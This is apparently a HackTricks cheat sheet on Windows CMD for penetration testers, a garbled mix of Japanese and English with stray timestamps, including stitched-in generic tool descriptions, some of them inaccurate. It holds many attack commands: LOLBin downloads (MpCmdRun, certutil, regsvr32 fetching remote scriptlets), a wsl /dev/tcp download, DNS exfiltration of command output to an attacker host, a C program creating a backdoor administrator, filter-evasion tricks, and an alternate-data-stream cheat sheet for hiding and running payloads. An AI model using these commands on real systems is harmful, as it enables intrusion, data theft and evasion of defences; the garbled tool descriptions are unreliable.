MpCmdRun.exe -SignatureUpdate
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
### その他の操作
`MpCmdRun.exe`には、他にもさまざまな操作があります。以下のコマンドを使用して、詳細なヘルプを表示できます。
```plaintext
MpCmdRun.exe -?
```
2023-07-07 23:42:27 +00:00
これにより、利用可能なオプションやコマンドの一覧が表示されます。
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
以上が`MpCmdRun.exe`の基本的な使用方法です。このツールを使用することで、Windows Defenderの操作を効率的に実行することができます。
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable
```
2023-07-07 23:42:27 +00:00
# Replace.exe
`Replace.exe` is a command-line tool in Windows that allows you to replace files in a specified directory. It can be useful for various purposes, including replacing system files or modifying configurations.
2023-07-07 23:42:27 +00:00
## Syntax
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
replace.exe <source_file> <destination_file> [/A] [/P] [/R] [/W]
```
2023-07-07 23:42:27 +00:00
- `<source_file>`: Specifies the file to be copied.
- `<destination_file>`: Specifies the location and name of the new file.
- `/A`: Adds the file attributes of the source file to the destination file.
- `/P`: Prompts for confirmation before replacing an existing file.
- `/R`: Replaces read-only files.
- `/W`: Waits for you to insert a disk before replacing files.
## Examples
1. Replace a file without prompting for confirmation:
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /P
```
2023-07-07 23:42:27 +00:00
2. Replace a file and add the attributes of the source file:
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /A
```
2023-07-07 23:42:27 +00:00
3. Replace a read-only file:
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /R
```
2023-07-07 23:42:27 +00:00
4. Replace a file and wait for disk insertion:
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /W
```
2023-07-07 23:42:27 +00:00
Note: `replace.exe` is a built-in Windows command and is available in most Windows versions.
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
```
2023-07-07 23:42:27 +00:00
# Basic CMD for Pentesters
2023-07-07 23:42:27 +00:00
## Introduction
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
This document provides a list of basic CMD commands that can be useful for pentesters during their engagements. These commands can help in gathering information, performing reconnaissance, and executing various tasks on a Windows system.
## CMD Commands
### 1. Tasklist
The `tasklist` command displays a list of all running processes on the system. This can be useful for identifying any suspicious or malicious processes.
```plaintext
tasklist
```
2023-07-07 23:42:27 +00:00
### 2. Netstat
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
The `netstat` command displays active network connections, listening ports, and related information. It can help in identifying any unauthorized network connections or open ports.
```plaintext
netstat -ano
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
### 3. Ipconfig
The `ipconfig` command displays the IP configuration of all network interfaces on the system. It can be used to gather information about the network settings of the target system.
```plaintext
ipconfig /all
```
2023-07-07 23:42:27 +00:00
### 4. Net
The `net` command is used for various network-related operations. Some useful subcommands include:
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
- `net user` - Displays information about user accounts on the system.
- `net group` - Displays information about user groups on the system.
- `net localgroup` - Displays information about local groups on the system.
```plaintext
net user
net group
net localgroup
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
### 5. Systeminfo
The `systeminfo` command displays detailed information about the system, including the operating system version, hardware configuration, and installed software. This can be useful for identifying vulnerabilities or outdated software.
```plaintext
systeminfo
```
2023-07-07 23:42:27 +00:00
### 6. Reg
The `reg` command is used to manage the Windows Registry. Some useful subcommands include:
- `reg query` - Displays the values and subkeys of a specified registry key.
- `reg add` - Adds a new registry key or value.
- `reg delete` - Deletes a registry key or value.
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
```plaintext
reg query HKLM\Software
reg add HKCU\Software\NewKey
reg delete HKLM\Software\OldKey
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
### 7. Taskkill
The `taskkill` command is used to terminate a running process. It can be useful for stopping any malicious processes or unwanted applications.
```plaintext
taskkill /IM <process_name>.exe /F
```
2023-07-07 23:42:27 +00:00
## Conclusion
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
These basic CMD commands can be helpful for pentesters during their engagements. However, it is important to note that these commands should be used responsibly and ethically, following all applicable laws and regulations.
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
```
2023-07-07 23:42:27 +00:00
# Powerpnt.exe
`powerpnt.exe` is the executable file for Microsoft PowerPoint, a popular presentation software. It is commonly found on Windows operating systems.
## Usage
2023-07-07 23:42:27 +00:00
To launch PowerPoint using `powerpnt.exe`, open a command prompt and type:
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
```plaintext
powerpnt.exe
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
This will open the PowerPoint application, allowing you to create, edit, and view presentations.
## Command-Line Options
`powerpnt.exe` supports various command-line options that can be used to perform specific tasks. Here are some commonly used options:
- `/s`: Starts PowerPoint in slideshow mode.
- `/n`: Starts a new instance of PowerPoint.
- `/f <filename>`: Opens the specified file in PowerPoint.
- `/m <macro>`: Runs the specified macro when PowerPoint starts.
- `/pt <printername>`: Prints the specified presentation to the specified printer.
- `/p <filename>`: Prints the specified presentation without opening PowerPoint.
## Example
To open a PowerPoint presentation named `example.pptx` using `powerpnt.exe`, run the following command:
```plaintext
powerpnt.exe /f example.pptx
```
2023-07-07 23:42:27 +00:00
This will open the `example.pptx` file in PowerPoint.
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
## Security Considerations
As with any executable file, it is important to ensure that `powerpnt.exe` is obtained from a trusted source and is not tampered with. Running executables from untrusted sources can pose security risks to your system.
Additionally, it is recommended to keep your PowerPoint software up to date with the latest security patches to protect against potential vulnerabilities.
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```
2023-07-07 23:42:27 +00:00
# Squirrel.exe
Squirrel.exe is a command-line tool that allows you to interact with the Squirrel framework. It is commonly used for package management and deployment of applications.
## Usage
To use Squirrel.exe, open a command prompt and navigate to the directory where the executable is located. Then, you can run various commands to perform different tasks.
### Install
2023-07-07 23:42:27 +00:00
To install an application using Squirrel.exe, use the following command:
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
Squirrel.exe install <path_to_package>
```
2023-07-07 23:42:27 +00:00
Replace `<path_to_package>` with the path to the package file (e.g., `C:\path\to\package.nupkg`).
### Update
To update an installed application, use the following command:
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
Squirrel.exe update <path_to_package>
```
2023-07-07 23:42:27 +00:00
Replace `<path_to_package>` with the path to the updated package file.
### Uninstall
To uninstall an application, use the following command:
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
Squirrel.exe uninstall <app_name>
```
2023-07-07 23:42:27 +00:00
Replace `<app_name>` with the name of the application.
### Other Commands
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
Squirrel.exe also provides other commands for managing applications, such as `list`, `releasify`, and `clean`. You can use the `--help` option with any command to get more information about its usage.
## Conclusion
Squirrel.exe is a powerful command-line tool for managing and deploying applications using the Squirrel framework. By familiarizing yourself with its commands, you can streamline the installation, update, and uninstallation processes of your applications.
2022-05-17 09:34:10 +00:00
```
squirrel.exe --download [url to package]
```
2023-07-07 23:42:27 +00:00
# Update.exe
`Update.exe` is a common executable file found in Windows operating systems. It is often used to install software updates or patches. However, it can also be used by hackers as a disguise for malicious activities.
## Malicious Use
Hackers may create a malicious `Update.exe` file to trick users into running it. Once executed, the file can perform various malicious actions, such as:
- Installing malware or spyware on the system
- Modifying system settings or configurations
- Stealing sensitive information, such as passwords or credit card details
- Creating backdoors or remote access points for future attacks
## Prevention
To protect your system from malicious `Update.exe` files, follow these preventive measures:
2023-07-07 23:42:27 +00:00
1. **Verify the source**: Only download and install updates from trusted sources, such as official software vendors or reputable websites.
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
2. **Keep your system up to date**: Regularly update your operating system and software to ensure you have the latest security patches and bug fixes.
3. **Use reliable security software**: Install and regularly update a reputable antivirus or antimalware program to detect and block malicious files.
4. **Exercise caution**: Be cautious when downloading and running executable files, especially if they are received from unknown or suspicious sources.
By following these preventive measures, you can reduce the risk of falling victim to malicious `Update.exe` files and protect your system from potential attacks.
2022-05-17 09:34:10 +00:00
```
Update.exe --download [url to package]
```
2023-07-07 23:42:27 +00:00
Winword.exeは、Microsoft Wordの実行可能ファイルです。このファイルは、Windowsオペレーティングシステム上でMicrosoft Wordを起動するために使用されます。Winword.exeは、ユーザーがドキュメントを作成、編集、保存するためのインターフェースを提供します。このファイルは通常、C:\Program Files\Microsoft Office\OfficeXXXXはバージョン番号のディレクトリに存在します。Winword.exeは、マルウェアに悪用される可能性があるため、注意が必要です。正規のWinword.exeファイルを使用することを確認し、不審な動作がないか定期的に監視することが重要です。
2022-05-17 09:34:10 +00:00
```
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```
2023-07-07 23:42:27 +00:00
# Wsl.exe
`wsl.exe` is a command-line tool in Windows that allows you to run Linux distributions on Windows. It stands for Windows Subsystem for Linux. This tool provides a compatibility layer for running Linux binary executables natively on Windows 10 and Windows Server 2019.
To use `wsl.exe`, open a command prompt or PowerShell window and type `wsl`. This will launch the default Linux distribution installed on your system. If you have multiple distributions installed, you can specify the distribution name as an argument, for example: `wsl -d Ubuntu`.
You can also use `wsl.exe` to run Linux commands directly from the Windows command prompt or PowerShell. For example, to run the `ls` command in the default Linux distribution, you can type `wsl ls`.
2023-07-07 23:42:27 +00:00
`wsl.exe` provides a convenient way for pentesters to leverage Linux tools and utilities while working on a Windows system. It allows you to access the power and flexibility of Linux without the need for a separate virtual machine or dual-boot setup.
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
Note: `wsl.exe` requires Windows 10 version 1607 or later, with the Windows Subsystem for Linux feature enabled.
2022-05-17 09:34:10 +00:00
```
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
```
2023-07-07 23:42:27 +00:00
## その他
2023-07-07 23:42:27 +00:00
### Basic CMD commands for pentesters
2023-07-07 23:42:27 +00:00
### ペンテスターのための基本的なCMDコマンド
Here you have a list of basic CMD commands that can be useful during a penetration test.
以下に、ペネトレーションテスト中に役立つ基本的なCMDコマンドのリストがあります。
#### System Information
#### システム情報
- `systeminfo`: Displays detailed configuration information about a computer and its operating system.
- `systeminfo`: コンピューターとそのオペレーティングシステムに関する詳細な構成情報を表示します。
- `hostname`: Displays the name of the current host.
- `hostname`: 現在のホストの名前を表示します。
- `ipconfig`: Displays the IP configuration for all network interfaces.
- `ipconfig`: すべてのネットワークインターフェースのIP構成を表示します。
- `netstat`: Displays active network connections and listening ports.
- `netstat`: アクティブなネットワーク接続とリッスンポートを表示します。
- `tasklist`: Displays a list of currently running processes.
- `tasklist`: 現在実行中のプロセスのリストを表示します。
- `whoami`: Displays the username of the current user.
- `whoami`: 現在のユーザーのユーザー名を表示します。
#### File and Directory Operations
#### ファイルとディレクトリの操作
- `dir`: Displays a list of files and subdirectories in a directory.
- `dir`: ディレクトリ内のファイルとサブディレクトリのリストを表示します。
- `cd`: Changes the current directory.
- `cd`: 現在のディレクトリを変更します。
- `mkdir`: Creates a new directory.
- `mkdir`: 新しいディレクトリを作成します。
- `copy`: Copies one or more files to another location.
- `copy`: 1つ以上のファイルを別の場所にコピーします。
- `move`: Moves one or more files to another location.
- `move`: 1つ以上のファイルを別の場所に移動します。
- `del`: Deletes one or more files.
- `del`: 1つ以上のファイルを削除します。
#### Network Operations
#### ネットワーク操作
- `ping`: Sends ICMP Echo Request messages to a specified host to test network connectivity.
- `ping`: ネットワークの接続性をテストするために、指定したホストにICMPエコーリクエストメッセージを送信します。
- `nslookup`: Queries DNS servers to retrieve DNS information.
- `nslookup`: DNS情報を取得するためにDNSサーバーにクエリを送信します。
- `tracert`: Traces the route that packets take to reach a destination host.
- `tracert`: パケットが目的のホストに到達するまでの経路をトレースします。
- `net`: Displays or modifies network settings.
- `net`: ネットワークの設定を表示または変更します。
- `netsh`: Configures network interfaces, routing protocols, and filters.
- `netsh`: ネットワークインターフェース、ルーティングプロトコル、およびフィルタを設定します。
#### User and Account Management
#### ユーザーとアカウントの管理
- `net user`: Displays or modifies user accounts.
- `net user`: ユーザーアカウントを表示または変更します。
- `net localgroup`: Displays or modifies local groups.
- `net localgroup`: ローカルグループを表示または変更します。
- `net group`: Displays or modifies global groups.
- `net group`: グローバルグループを表示または変更します。
- `net accounts`: Displays or modifies account policies.
- `net accounts`: アカウントポリシーを表示または変更します。
#### Service Management
#### サービスの管理
- `sc`: Displays or modifies service configuration.
- `sc`: サービスの構成を表示または変更します。
- `net start`: Starts a service.
- `net start`: サービスを開始します。
- `net stop`: Stops a service.
- `net stop`: サービスを停止します。
- `taskkill`: Terminates a running process or application.
- `taskkill`: 実行中のプロセスまたはアプリケーションを終了します。
#### System Management
#### システムの管理
- `shutdown`: Shuts down or restarts a local or remote computer.
- `shutdown`: ローカルまたはリモートコンピューターをシャットダウンまたは再起動します。
- `schtasks`: Schedules commands and programs to run at specific times or events.
- `schtasks`: 特定の時間またはイベントでコマンドとプログラムをスケジュールします。
- `reg`: Manipulates the Windows Registry.
- `reg`: Windowsレジストリを操作します。
- `gpupdate`: Refreshes local and Active Directory-based Group Policy settings.
- `gpupdate`: ローカルおよびActive Directoryベースのグループポリシー設定を更新します。
- `gpresult`: Displays the Resultant Set of Policy (RSoP) for a user or computer.
- `gpresult`: ユーザーまたはコンピューターのポリシーの結果セットRSoPを表示します。
#### Miscellaneous
#### その他
- `echo`: Displays messages or turns command echoing on or off.
- `echo`: メッセージを表示するか、コマンドのエコーをオンまたはオフにします。
- `type`: Displays the contents of a text file.
- `type`: テキストファイルの内容を表示します。
- `find`: Searches for a specific text string in one or more files.
- `find`: 1つ以上のファイルで特定のテキスト文字列を検索します。
- `findstr`: Searches for strings in files using regular expressions.
- `findstr`: 正規表現を使用してファイル内の文字列を検索します。
- `taskmgr`: Opens the Windows Task Manager.
- `taskmgr`: Windowsタスクマネージャーを開きます。
- `msconfig`: Opens the System Configuration utility.
- `msconfig`: システム構成ユーティリティを開きます。
- `control`: Opens the Control Panel.
- `control`: コントロールパネルを開きます。
- `calc`: Opens the Windows Calculator.
- `calc`: Windows電卓を開きます。
- `notepad`: Opens Notepad.
- `notepad`: メモ帳を開きます。
- `explorer`: Opens Windows Explorer.
- `explorer`: Windowsエクスプローラーを開きます。
- `winver`: Displays the Windows version.
- `winver`: Windowsのバージョンを表示します。
- `help`: Displays help information for CMD commands.
- `help`: CMDコマンドのヘルプ情報を表示します。
```bash
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
2020-09-07 11:12:11 +00:00
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
2021-03-18 23:05:52 +00:00
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
2022-08-13 13:54:19 +00:00
# Get error messages from code
net helpmsg 32 #32 is the code in that case
```
2023-07-07 23:42:27 +00:00
### 文字列のブラックリスト回避
In some cases, when attempting to inject malicious code or commands into a system, certain characters may be blacklisted or filtered out by the target application. However, there are several techniques that can be used to bypass these character blacklists and successfully execute the desired code.
いくつかの場合、システムに悪意のあるコードやコマンドを注入しようとする際に、対象のアプリケーションによって特定の文字がブラックリスト化されたり、フィルタリングされたりすることがあります。しかし、これらの文字列のブラックリストを回避し、望むコードを正常に実行するために使用できるいくつかのテクニックがあります。
One common technique is to use alternative representations of the blacklisted characters. For example, if the character 'a' is blacklisted, it can be represented using its ASCII code or Unicode representation. Similarly, other characters can be represented using HTML entities or URL encoding.
一般的なテクニックの1つは、ブラックリスト化された文字の代替表現を使用することです。たとえば、文字 'a' がブラックリスト化されている場合、ASCII コードや Unicode 表現を使用して表すことができます。同様に、他の文字は HTML エンティティや URL エンコーディングを使用して表現することができます。
2023-07-07 23:42:27 +00:00
Another technique is to use different character encodings. By using encodings such as UTF-8, UTF-16, or Base64, it is possible to represent the blacklisted characters in a different format that may bypass the filtering mechanism.
2022-10-02 21:44:11 +00:00
2023-07-07 23:42:27 +00:00
別のテクニックは、異なる文字エンコーディングを使用することです。UTF-8、UTF-16、または Base64 などのエンコーディングを使用することで、ブラックリスト化された文字をフィルタリングメカニズムをバイパスする可能性のある異なる形式で表現することができます。
It is also worth noting that some applications may only blacklist certain characters in specific contexts. Therefore, it is important to understand the context in which the blacklisted characters are being used and find alternative ways to achieve the desired outcome.
また、一部のアプリケーションでは、特定のコンテキストでのみ特定の文字をブラックリスト化する場合があります。したがって、ブラックリスト化された文字が使用されているコンテキストを理解し、望ましい結果を得るための代替手段を見つけることが重要です。
2022-10-02 21:44:11 +00:00
```bash
2022-10-02 22:00:14 +00:00
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
```
### DOSfuscation
2023-07-07 23:42:27 +00:00
CMDラインを曖昧化するためのコマンドを生成します。
2022-10-02 22:00:14 +00:00
```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
2022-10-02 21:44:11 +00:00
```
2023-07-07 23:42:27 +00:00
### リッスンアドレスACL
2022-10-02 21:44:11 +00:00
2023-07-07 23:42:27 +00:00
管理者権限なしで[http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/)でリッスンすることができます。
```bash
netsh http show urlacl
```
2023-07-07 23:42:27 +00:00
### マニュアルDNSシェル
2023-07-07 23:42:27 +00:00
**攻撃者**Kaliは、次の2つのオプションのいずれかを使用する必要があります
```bash
sudo responder -I <iface> #Active
2020-09-07 11:12:11 +00:00
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```
2023-07-07 23:42:27 +00:00
#### ターゲット
2023-07-07 23:42:27 +00:00
_**for /f tokens**_ \_\*\*\_技術: これにより、コマンドを実行し、各行の最初のX単語を取得し、それをDNS経由でサーバーに送信できます。
2022-05-17 09:34:10 +00:00
```
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
2023-07-07 23:42:27 +00:00
出力を**リダイレクト**して、それを**読み取る**こともできます。
2022-05-17 09:34:10 +00:00
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```
2023-07-07 23:42:27 +00:00
## CコードからCMDを呼び出す
To call CMD from C code, you can use the `system()` function provided by the C standard library. This function allows you to execute a command in the command prompt.
Here is an example of how to call CMD from C code:
```c
#include <stdlib.h>
int main() {
system("cmd /c <command>");
return 0;
}
```
2023-07-07 23:42:27 +00:00
Replace `<command>` with the command you want to execute in CMD. The `/c` flag is used to execute the command and then terminate CMD.
2023-07-07 23:42:27 +00:00
Compile and run the C code, and it will call CMD and execute the specified command.
```c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
2023-07-07 23:42:27 +00:00
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
```
2023-07-07 23:42:27 +00:00
## Alternate Data Streams チートシート (ADS/Alternate Data Stream)
2023-07-07 23:42:27 +00:00
[https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)から取得しました。
```bash
2022-05-01 12:49:36 +00:00
##Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat
2021-09-06 22:26:52 +00:00
set-content - path {path to the file} - stream {name of the stream}
2022-05-01 12:49:36 +00:00
## Discover ADS contecnt
2023-07-07 23:42:27 +00:00
dir /R
2021-09-06 22:26:52 +00:00
streams.exe <c:\path\to\file> #Binary from sysinternals#
Get-Item -Path .\fie.txt -Stream *
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'
2020-08-11 12:53:46 +00:00
2022-05-01 12:49:36 +00:00
##Extract content from ADS###
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
2020-08-11 12:53:46 +00:00
more < c:\ads\file.txt:test.exe
2022-05-01 12:49:36 +00:00
##Executing the ADS content###
* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll
* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
* Wscript
wscript c:\ads\file.txt:script.vbs
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
* Mavinject.exe
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe 4172 31C5CE94259D4006 2 18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
* MSHTA
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
(Does not work on Windows 10 1903 and newer)
* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
https://twitter.com/bohops/status/954466315913310209
* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
* Powershell.exe
powershell -ep bypass - < c:\temp:ttt
* Powershell.exe
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"
* Powershell.exe
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}
* Regedit.exe
regedit c:\ads\file.txt:regfile.reg
* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile
* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe
* Cmd.exe
cmd.exe - < fakefile.doc:reg32.bat
https://twitter.com/yeyint_mth/status/1143824979139579904
* Ftp.exe
ftp -s:fakefile.txt:aaaa.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* bash.exe
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* Regsvr32
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有する**には、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>